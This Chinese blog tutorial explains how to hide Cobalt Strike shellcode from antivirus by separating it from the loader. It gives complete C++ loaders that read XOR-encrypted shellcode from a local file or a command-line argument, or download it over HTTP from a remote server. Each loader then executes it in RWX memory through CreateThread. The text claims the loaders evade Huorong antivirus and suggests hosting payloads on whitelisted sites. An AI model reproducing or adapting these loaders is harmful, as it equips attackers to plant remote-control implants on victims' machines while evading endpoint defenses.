免杀-Shellcode分离隐藏&C++

Shellcode分离隐藏-让杀毒找不到

内存免杀

内存免杀是将shellcode直接加载进内存,由于没有文件落地,因此可以绕过文件扫描策略的查杀。为了使内存免杀的效果更好,在申请内存时一般采用渐进式申请一块可读写内存,在运行时改为可执行,在执行的时候遵循分离免杀的思想。分离免杀包含对特征和行为的分离两个维度,把shellcode从放在程序转移到加载进内存,把整块的ShellCode通过分块传输的方法上传然后再拼接,这些体现了基本的"分离"思想。

➢C2远控-ShellCode分离-C/C++从文本中提取

加载器直接加载代码中的shellcode进行上线
加载器加载本地文件(图片、文本)读取数据=shellcode进行上线

目录2个文件:xxxx.exe xxx.bin
可升级:混淆加密xxx.bin,读取后进行解密执行

1、运行如下代码生成exe

#include<Windows.h>
#include <stdio.h>
#include <fstream>
#include<iostream>
using namespace std;

void load(char* buf, int shellcode_size)
{
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄

    char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    CopyMemory(shellcode, buf, shellcode_size);
    //CreateThread函数,创建线程
    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 若成功,接收新创建的线程的线程ID DWORD变量的地址。
    );
    //通过调用 WaitForSingleObject 函数来监视事件状态,当事件设置为终止状态(WaitForSingleObject 返回 WAIT_OBJECT_0)时,每个线程都将自行终止执行。
    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
}
int wmain(int argc, char* argv[])
{
    char filename[] = "p64.bin";
    // 以读模式打开文件
    ifstream infile;
    //以二进制方式打开
    infile.open(filename, ios::out | ios::binary);
    infile.seekg(0, infile.end); //追溯到流的尾部
    int length = infile.tellg(); //获取流的长度
    infile.seekg(0, infile.beg);//回溯到流头部

    char* data = new char[length]; //存取文件内容
    if (infile.is_open()) {
        cout << "reading from the file" << endl;
        infile.read(data, length);
    }
    cout << "size of data =" << sizeof(data) << endl;
    cout << "size of file =" << length << endl;
    for (int i = 0; i < length; i++)
    {
        printf("\\%x ", data[i]);
    }

    for (int i = 0; i < length; i++)
    {
        data[i] ^= 0x39;
    }

    int shellcode_size = length;
    load(data, shellcode_size);
    //加载成功并不会输出,推测load函数新创建的线程执行结束后,主进程也终止了。
    cout << "加载成功";
    return 0;
}

2、cs生成p64.bin shellcode文件 把两个文件放在同一个目录运行,shellocode进行0x39异或加密

➢C2远控-ShellCode分离-C/C++从参数中提取

加载器直接加载代码中的shellcode进行上线
接受执行文件后续的参数作文shellcode

#include<Windows.h>
#include <stdio.h>
#include <fstream>
#include<iostream>
using namespace std;

void load(char* buf, int shellcode_size)
{
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄

    char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    CopyMemory(shellcode, buf, shellcode_size);
    //CreateThread函数,创建线程
    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 若成功,接收新创建的线程的线程ID DWORD变量的地址。
    );
    //通过调用 WaitForSingleObject 函数来监视事件状态,当事件设置为终止状态(WaitForSingleObject 返回 WAIT_OBJECT_0)时,每个线程都将自行终止执行。
    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
}
int wmain(int argc, char* argv[])
{
    int len = strlen(argv[1]);
    char* filename = new char[len + 1];
    strcpy(filename, argv[1]);

    //参数发送的文件名读取 发送的数据流

    // 以读模式打开文件
    ifstream infile;
    //以二进制方式打开
    infile.open(filename, ios::out | ios::binary);
    infile.seekg(0, infile.end); //追溯到流的尾部
    int length = infile.tellg(); //获取流的长度
    infile.seekg(0, infile.beg);//回溯到流头部

    char* data = new char[length]; //存取文件内容
    if (infile.is_open()) {
        cout << "reading from the file" << endl;
        infile.read(data, length);
    }
    cout << "size of data =" << sizeof(data) << endl;
    cout << "size of file =" << length << endl;
    for (int i = 0; i < length; i++)
    {
        printf("\\%x ", data[i]);
    } 

    for (int i = 0; i < length; i++)
    {
        data[i] ^= 0x39;
    }

    int shellcode_size = length;
    load(data, shellcode_size);
    //加载成功并不会输出,推测load函数新创建的线程执行结束后,主进程也终止了。
    cout << "加载成功";
    return 0;
}

shellcode文件进行0x39异或加密
在这里插入图片描述

在cmd执行命令:xxxx.exe shellcode 文件发现可以上线,可以绕过火绒

可升级:xxxx.exe shellcode password

➢C2远控-ShellCode分离-C/C++从网站中提取

加载器直接加载代码中的shellcode进行上线
加载器加载访问网站(web http协议)获取数据=shellcode进行上线
1、请求获取到数据(shellcode)

2、shellcode进行调用执行

1、首先用cs生成c的shellcode文件, 将shellcode转换成十进制,代码如下

#include<Windows.h>
#include <stdio.h>




//将shellcode转换成10机制
unsigned char buf[] = "这里放shellcode";



int main()
{
	int shellcode_size = sizeof(buf);
	printf("shellcodesize=%d \n", shellcode_size);
	for (int i = 0; i < shellcode_size; i++) {
	
		printf("%d,", buf[i]);
	
	}

}

2、再kali中启动服务端,将生成的10进制文件放在aaaaa.txt文件中
在这里插入图片描述

3、生成文件,并运行发现可以上线

#include <string>
#include <windows.h>
#include <winhttp.h>
#include<iostream>
#include "file.cpp"
#pragma comment(lib, "winhttp.lib")

using namespace std;

char* WinGet(char* ip, int port, char* url)
{

	HINTERNET hSession = NULL;
	HINTERNET hConnect = NULL;
	HINTERNET hRequest = NULL;

	//************ 将char转换为wchar_t *****************/
	int ipSize;
	wchar_t* ip_wchar;
	//返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0'
	ipSize = MultiByteToWideChar(CP_ACP, 0, ip, -1, NULL, 0); //iSize =wcslen(pwsUnicode)+1=6
	ip_wchar = (wchar_t*)malloc(ipSize * sizeof(wchar_t)); //不需要 pwszUnicode = (wchar_t *)malloc((iSize+1)*sizeof(wchar_t))
	MultiByteToWideChar(CP_ACP, 0, ip, -1, ip_wchar, ipSize);

	int urlSize;
	wchar_t* url_wchar;
	//返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0'
	urlSize = MultiByteToWideChar(CP_ACP, 0, url, -1, NULL, 0); //iSize =wcslen(pwsUnicode)+1=6
	url_wchar = (wchar_t*)malloc(urlSize * sizeof(wchar_t)); //不需要 pwszUnicode = (wchar_t *)malloc((iSize+1)*sizeof(wchar_t))
	MultiByteToWideChar(CP_ACP, 0, url, -1, url_wchar, urlSize);
	//************ ********************************* *****************/


	//port = 80; //默认端口

	//1. 初始化一个WinHTTP-session句柄,参数1为此句柄的名称
	hSession = WinHttpOpen(L"WinHTTP Example/1.0",
		WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
		WINHTTP_NO_PROXY_NAME,
		WINHTTP_NO_PROXY_BYPASS, 0);

	if (hSession == NULL) {
		cout << "Error:Open session failed: " << GetLastError() << endl;
		exit(0);
	}

	//2. 通过上述句柄连接到服务器,需要指定服务器IP和端口号 INTERNET_DEFAULT_HTTP_PORT:80。若连接成功,返回的hConnect句柄不为NULL
	hConnect = WinHttpConnect(hSession, ip_wchar, port, 0);
	if (hConnect == NULL) {
		cout << "Error:Connect failed: " << GetLastError() << endl;
		exit(0);
	}

	//3. 通过hConnect句柄创建一个hRequest句柄,用于发送数据与读取从服务器返回的数据。
	hRequest = WinHttpOpenRequest(hConnect, L"GET", url_wchar, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
	//其中参数2表示请求方式,此处为Get;参数3:给定Get的具体地址,如这里的具体地址为https://www.citext.cn/GetTime.php
	if (hRequest == NULL) {
		cout << "Error:OpenRequest failed: " << GetLastError() << endl;
		exit(0);
	}

	BOOL bResults;
	//发送请求
	bResults = WinHttpSendRequest(hRequest,
		WINHTTP_NO_ADDITIONAL_HEADERS,
		0, WINHTTP_NO_REQUEST_DATA, 0,
		0, 0);

	if (!bResults) {
		cout << "Error:SendRequest failed: " << GetLastError() << endl;
		exit(0);
	}
	else {
		//(3) 发送请求成功则准备接受服务器的response。注意:在使用 WinHttpQueryDataAvailable和WinHttpReadData前必须使用WinHttpReceiveResponse才能access服务器返回的数据
		bResults = WinHttpReceiveResponse(hRequest, NULL);
	}


	LPVOID lpHeaderBuffer = NULL;
	DWORD dwSize = 0;
	//4-3. 获取服务器返回数据
	LPSTR pszOutBuffer = NULL;
	DWORD dwDownloaded = 0;         //实际收取的字符数
	wchar_t* pwText = NULL;
	if (bResults)
	{
		do
		{
			//(1) 获取返回数据的大小(以字节为单位)
			dwSize = 0;
			if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
				cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl;
				break;
			}
			if (!dwSize)    break;  //数据大小为0                

			//(2) 根据返回数据的长度为buffer申请内存空间
			pszOutBuffer = new char[dwSize + 1];
			if (!pszOutBuffer) {
				cout << "Out of memory." << endl;
				break;
			}
			ZeroMemory(pszOutBuffer, dwSize + 1);       //将buffer置0

			//(3) 通过WinHttpReadData读取服务器的返回数据
			if (!WinHttpReadData(hRequest, pszOutBuffer, dwSize, &dwDownloaded)) {
				cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl;
			}
			if (!dwDownloaded)
				break;


		} while (dwSize > 0);
		//4-4. 将返回数据转换成UTF8
		DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, pszOutBuffer, -1, NULL, 0);    //返回原始ASCII码的字符数目       
		pwText = new wchar_t[dwNum];                                                //根据ASCII码的字符数分配UTF8的空间
		MultiByteToWideChar(CP_UTF8, 0, pszOutBuffer, -1, pwText, dwNum);           //将ASCII码转换成UTF8
		//printf("\n返回数据为:\n%S\n\n", pwText);


	}

	//5. 依次关闭request,connect,session句柄
	if (hRequest) WinHttpCloseHandle(hRequest);
	if (hConnect) WinHttpCloseHandle(hConnect);
	if (hSession) WinHttpCloseHandle(hSession);

	/******************   将wchar转换为char  *******************/
	int iSize;
	char* data;

	//返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0'
	iSize = WideCharToMultiByte(CP_ACP, 0, pwText, -1, NULL, 0, NULL, NULL); //iSize =wcslen(pwsUnicode)+1=6
	data = (char*)malloc(iSize * sizeof(char)); //不需要 pszMultiByte = (char*)malloc(iSize*sizeof(char)+1);
	WideCharToMultiByte(CP_ACP, 0, pwText, -1, data, iSize, NULL, NULL);
	return data;
}




char* StrToShellcode(char str[])
{
	char buf[2048];
	const char s[2] = ",";
	char* token;
	int i = 0;
	/* 获取第一个子字符串 */
	token = strtok(str, s);
	//buf[i] = char(stoi(token)); 
	/* 继续获取其他的子字符串 */
	while (token != NULL) {

		buf[i] = char(stoi(token)); //stoi函数将字符串转换整数
		printf("%s  %d\n", token, i);
		printf("%x\n", stoi(token));
		token = strtok(NULL, s);
		i++;
	}
	load(buf, 2048);  //晕了,指针传参回主函数不会了,先在这加载了
	return buf;
}
int main(int argc, char* argv[])
{
	char* data;

	const char ip[16] = "www.aliyun.com";
	char* ips = const_cast<char*>(ip);

	const char url[11] = "aaaaa.txt";
	char* urls = const_cast<char*>(url);

	data = WinGet(ips, 8888, urls);
	cout << "返回的数据为: " << data << endl;

	//执行shellcode
	char* buf = StrToShellcode(data);

	cout << argc;
	if (argc > 2) {  //命令行参数大于两个时才加载
		char* buf = StrToShellcode(data);
	}
}


url:http://xx.xx.xx.xx/sc.txt
可升级:
1、可以在绿标白名单的网站上找一个存储路径充当
2、将shellcode的十进制代码进行混淆

➢C2远控-ShellCode分离-C/C++从管道中提取

(查杀特征大,不建议使用)
1、client客户端去发送shellcode给server服务端
2、server服务端去接受到shellcode进行加载上线

*socket,pipe等技术 *
利用建立网络通讯管道,在发送ShellCode接受执行
可升级:可以在发送过程中进行混淆加密,接受后进行解密执行

补充:

编辑器设置 VS绕过360QVM,VT全绿
https://mp.weixin.qq.com/s/UJlVvagNjmy9E-B-XjBHyw
编译器差异 G++ GCC
https://blog.csdn.net/weixin_41012767/article/details/129365597

  • 30
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值